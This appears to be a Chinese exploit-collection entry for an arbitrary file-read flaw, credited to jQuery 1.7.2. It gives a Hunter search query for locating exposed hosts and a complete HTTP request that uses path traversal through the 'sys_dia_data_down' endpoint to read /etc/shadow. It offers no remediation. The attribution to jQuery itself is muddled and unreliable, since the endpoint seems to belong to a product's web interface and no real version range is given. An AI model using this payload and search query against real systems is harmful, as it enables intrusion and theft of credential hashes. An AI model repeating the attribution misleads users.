J13-1jQuery-任意文件读取

漏洞描述：

jQuery是一个快速、简洁的JavaScript框架，是继Prototype之后又一个优秀的JavaScript代码库（框架）于2006年1月由John Resig发布。jQuery设计的宗旨是“write Less，Do More”，即倡导写更少的代码，做更多的事情。它封装JavaScript常用的功能代码，提供一种简便的JavaScript设计模式，优化HTML文档操作、事件处理、动画设计和Ajax交互。其1.7.2版本的sys_dia_data_down模块存在任意文件读取漏洞，攻击者可通过前台读取任意文件。

影响版本：

- jQuery

网站图片：

网络测绘：

Hunter 语法：

hunterweb.body="webui/js/jquerylib/jquery-1.7.2.min.js"

漏洞复现：

payload：

```
GET /webui/?g=sys_dia_data_down&file_name=../../../../../etc/shadow HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: USGSESSID=a9523e6ede287f558817c3bbcf9a60be
Upgrade-Insecure-Requests: 1
```

效果图: